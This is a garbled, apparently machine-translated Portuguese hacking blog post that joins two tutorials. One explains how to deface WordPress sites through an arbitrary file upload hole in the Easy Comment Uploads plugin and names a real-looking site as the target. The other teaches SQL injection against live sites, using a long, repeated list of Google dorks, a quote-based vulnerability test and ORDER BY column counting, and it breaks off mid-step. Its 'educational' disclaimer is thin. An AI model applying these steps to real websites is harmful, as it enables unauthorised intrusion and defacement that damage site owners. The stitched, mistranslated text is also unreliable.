Hola Amigos!O que esta acontecendo? O seu fim de semana e tudo isso, entao o que e o plano? Por que nao estou convidado?! lol.Enfim por hoje vamos atraves de um velho ainda esta trabalhando wordpress mas a vulnerabilidade de upload. Os Uploads Comentario Facil plug-in para o WordPress e propenso a uma vulnerabilidade que permite que atacantes upload de arquivos arbitrarios. O problema ocorre porque a aplicacao nao e adequada para higienizar fornecido pelo usuario de entrada. Esta vulnerabilidade foi descoberta por Tapco Seguranca e laboratorio de pesquisa. Objetivo:Localize AlvoVerifique VulnerabilidadeCriar Pagina desfigurarPagina Carregar desfigurarVamos comecar1) Para localizar um site vulneravel, vamos usar dork google. Tipo: inurl:"/wp-content/plugins/easy-comment-uploads/upload-form.php".2) Por exemplo, eu vou escolher o primeiro elo, robbyvillegas.com.3) Neste caso, devido ao google dork que usamos, estamos diretamente encaminhado para a pagina de upload. Mas no caso de voce querer testar outro site wordpress, basta adicionar o seguinte link: "example.com/wp-content/plugins/easy-comment-uploads/upload-form.php4) O tipo de arquivos do site permitem que varia, mas geralmente permitem imagens. Txt,. Htm,. Php. As vezes, eles simplesmente permitir que as imagens, as vezes apenas. Txt. Entao sim, como eu estava dizendo, isso varia.5) Repito. Htm e nao. Html como esta meta nao permite. Arquivos html.6) Localize o Index.htm de sua area de trabalho, clique sobre ele e ve-lo.7) Em seguida vamos retorno ao local de destino e clique em "Escolher arquivo" botao e fazer o upload do faccao.htm.8) Para localizar o arquivo enviado: /wp-content/uploads/(ano)/(mes)/faccao.htm9) Entao, no meu caso, ficaria assim: http://robbyvillegas.com/wp-content/uploads/2013/02/faccao.htmOBS: coloquei com o nome de exploit porque existe um exploit pra essa mesmo metodo.Lembre-se este tutorial e para fins educacional nao prejudicar os inocentesDanbury nao era uma prisao, era uma escola do crime. Entrei com um celibatario de maconha, saiu com um Doutorado de cocaina - George Jung Com este tutorial voce vai aprender uma das melhores formas de invasao e uma das mais usadas hoje em dia. Ate porque os programadores de hoje em dia nao estao si importando com a seguranca do site e suas areas restritas.1o Encontrar um site vulneravelPara isso vamos usar uma string no googleinurl:index.php?id=inurl:trainers.php?id=inurl:buy.php?category=inurl:article.php?ID=inurllay_old.php?id=inurl:declaration_more.php?decl_id=inurlageid=inurl:games.php?id=inurlage.php?file=inurl:newsDetail.php?id=inurl:gallery.php?id=inurl:article.php?id=inurl:show.php?id=inurl:staff_id=inurl:newsitem.php?num=inurl:readnews.php?id=inurl:top10.php?cat=inurl:historialeer.php?num=inurl:reagir.php?num=inurltray-Questions-View.php?num=inurl:forum_bds.php?num=inurl:game.php?id=inurl:view_product.php?id=inurl:newsone.php?id=inurl:sw_comment.php?id=inurl:news.php?id=inurl:avd_start.php?avd=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:news_view.php?id=inurl:select_biblio.php?id=inurl:humor.php?id=inurl:aboutbook.php?id=inurl:fiche_spectacle.php?id=inurl:communique_detail.php?id=inurl:sem.php3?id=inurl:kategorie.php4?id=inurl:news.php?id=inurl:index.php?id=inurl:faq2.php?id=inurl:show_an.php?id=inurlreview.php?id=inurl:loadpsb.php?id=inurlpinions.php?id=inurl:spr.php?id=inurlages.php?id=inurl:announce.php?id=inurl:clanek.php4?id=inurlarticipant.php?id=inurl:download.php?id=inurl:main.php?id=inurl:review.php?id=inurl:chappies.php?id=inurl:read.php?id=inurlrod_detail.php?id=inurl:viewphoto.php?id=inurl:article.php?id=inurlerson.php?id=inurlroductinfo.php?id=inurl:showimg.php?id=inurl:view.php?id=inurl:website.php?id=inurl:hosting_info.php?id=inurl:gallery.php?id=inurl:rub.php?idr=inurl:view_faq.php?id=inurl:artikelinfo.php?id=inurl:detail.php?ID=inurl:index.php?=inurlrofile_view.php?id=inurl:category.php?id=inurlublications.php?id=inurl:fellows.php?id=inurl:downloads_info.php?id=inurlrod_info.php?id=inurl:shop.php?do=part&id=inurlroductinfo.php?id=inurl:collectionitem.php?id=inurl:band_info.php?id=inurlroduct.php?id=inurl:releases.php?id=inurl:ray.php?id=inurlroduit.php?id=inurlop.php?id=inurl:shopping.php?id=inurlroductdetail.php?id=inurlost.php?id=inurl:viewshowdetail.php?id=inurl:clubpage.php?id=inurl:memberInfo.php?id=inurl:section.php?id=inurl:theme.php?id=inurlage.php?id=inurl:shredder-categories.php?id=inurl:tradeCategory.php?id=inurlroduct_ranges_view.php?ID=inurl:shop_category.php?id=inurl:tran**.php?id=inurl:channel_id=inurl:item_id=inurl:newsid=inurl:trainers.php?id=inurl:news-full.php?id=inurl:news_display.php?getid=inurl:index2.php?option=inurl:readnews.php?id=inurl:top10.php?cat=inurl:newsone.php?id=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:aboutbook.php?id=inurl:review.php?id=inurl:loadpsb.php?id=inurl:ages.php?id=inurl:material.php?id=inurl:clanek.php4?id=inurl:announce.php?id=inurl:chappies.php?id=inurl:read.php?id=inurl:viewapp.php?id=inurl:viewphoto.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:review.php?id=inurl:iniziativa.php?in=inurl:curriculum.php?id=inurl:labels.php?id=inurl:story.php?id=inurl:look.php?ID=inurl:newsone.php?id=inurl:aboutbook.php?id=inurl:material.php?id=inurlpinions.php?id=inurl:announce.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:tekst.php?idt=inurl:newscat.php?id=inurl:newsticker_info.php?idn=inurl:rubrika.php?idr=inurl:rubp.php?idr=inurlffer.php?idf=inurl:art.php?idm=inurl:title.php?id=inurl:index.php?id=inurl:trainers.php?id=inurl:buy.php?category=inurl:article.php?ID=inurllay_old.php?id=inurl:declaration_more.php?decl_id=inurlageid=inurl:games.php?id=inurlage.php?file=inurl:newsDetail.php?id=inurl:gallery.php?id=inurl:article.php?id=inurl:show.php?id=inurl:staff_id=inurl:newsitem.php?num=inurl:readnews.php?id=inurl:top10.php?cat=inurl:historialeer.php?num=inurl:reagir.php?num=inurltray-Questions-View.php?num=inurl:forum_bds.php?num=inurl:game.php?id=inurl:view_product.php?id=inurl:newsone.php?id=inurl:sw_comment.php?id=inurl:news.php?id=inurl:avd_start.php?avd=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:news_view.php?id=inurl:select_biblio.php?id=inurl:humor.php?id=inurl:aboutbook.php?id=inurl:fiche_spectacle.php?id=inurl:communique_detail.php?id=inurl:sem.php3?id=inurl:kategorie.php4?id=inurl:news.php?id=inurl:index.php?id=inurl:faq2.php?id=inurl:show_an.php?id=inurlreview.php?id=inurl:loadpsb.php?id=inurlpinions.php?id=inurl:spr.php?id=inurlages.php?id=inurl:announce.php?id=inurl:clanek.php4?id=inurlarticipant.php?id=inurl:download.php?id=inurl:main.php?id=inurl:review.php?id=inurl:chappies.php?id=inurl:read.php?id=inurlrod_detail.php?id=inurl:viewphoto.php?id=inurl:article.php?id=inurlerson.php?id=inurlroductinfo.php?id=inurl:showimg.php?id=inurl:view.php?id=inurl:website.php?id=inurl:hosting_info.php?id=inurl:gallery.php?id=inurl:rub.php?idr=inurl:view_faq.php?id=inurl:artikelinfo.php?id=inurl:detail.php?ID=inurl:index.php?=inurlrofile_view.php?id=inurl:category.php?id=inurlublications.php?id=inurl:fellows.php?id=inurl:downloads_info.php?id=inurlrod_info.php?id=inurl:shop.php?do=part&id=inurlroductinfo.php?id=inurl:collectionitem.php?id=inurl:band_info.php?id=inurlroduct.php?id=inurl:releases.php?id=inurl:ray.php?id=inurlroduit.php?id=inurlop.php?id=inurl:shopping.php?id=inurlroductdetail.php?id=inurlost.php?id=inurl:viewshowdetail.php?id=inurl:clubpage.php?id=inurl:memberInfo.php?id=inurl:section.php?id=inurl:theme.php?id=inurlage.php?id=inurl:shredder-categories.php?id=inurl:tradeCategory.php?id=inurlroduct_ranges_view.php?ID=inurl:shop_category.php?id=inurl:tran**.php?id=inurl:channel_id=inurl:item_id=inurl:newsid=inurl:trainers.php?id=inurl:news-full.php?id=inurl:news_display.php?getid=inurl:index2.php?option=inurl:readnews.php?id=inurl:top10.php?cat=inurl:newsone.php?id=inurl:event.php?id=inurlroduct-item.php?id=inurl:sql.php?id=inurl:aboutbook.php?id=inurl:review.php?id=inurl:loadpsb.php?id=inurl:ages.php?id=inurl:material.php?id=inurl:clanek.php4?id=inurl:announce.php?id=inurl:chappies.php?id=inurl:read.php?id=inurl:viewapp.php?id=inurl:viewphoto.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:review.php?id=inurl:iniziativa.php?in=inurl:curriculum.php?id=inurl:labels.php?id=inurl:story.php?id=inurl:look.php?ID=inurl:newsone.php?id=inurl:aboutbook.php?id=inurl:material.php?id=inurlpinions.php?id=inurl:announce.php?id=inurl:rub.php?idr=inurl:galeri_info.php?l=inurl:tekst.php?idt=inurl:newscat.php?id=inurl:newsticker_info.php?idn=inurl:rubrika.php?idr=inurl:rubp.php?idr=inurlffer.php?idf=inurl:art.php?idm=inurl:title.php?id=inurl: info.php?id=inurl:pro.php?id= Aparecera uma lista de sites,escolha um e verifique se o site esta vulneravel a SQL INJECTION. Suponhamos que voce escolheu o site:http://www.sitevul.com.br/noticias.php?id=10 Para verficar se ele esta vulneravel e bem simples basta adicionar uma ASPAS no final do numero de ID. http://www.sitevul.com.br/noticias.php?id=10' Se aparecer uma mensagem de erro como esta You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''39' at line 1database query failure- SELECT * FROM texecom_sidemenu WHERE id='39 o site esta vulneravel,se o site carregar normalmente ele nao esta,e so partir para outro e tentar.2o Aplicando os comandos SQL no site (unir as tabelas do site)Vamos procurar quantas tabelas o site possui com o comando ORDER BY ou GROUP BY ex: http://sitevul.com.br/noticias.php?id=10 order by 1 Se o site carregar normalmente prossiga. http://www.sitevul.com.br/noticias.php?id=10 order by 2 Se novamente carregar sem nenhum erro prossiga. http://sitevul.com.br/noticias.php?id=10 order by 3 Se novamente carregar sem nenhum erro prossiga http://www.sitevul.com.br/noticias.php?id=10 order by 4 Suponhamos que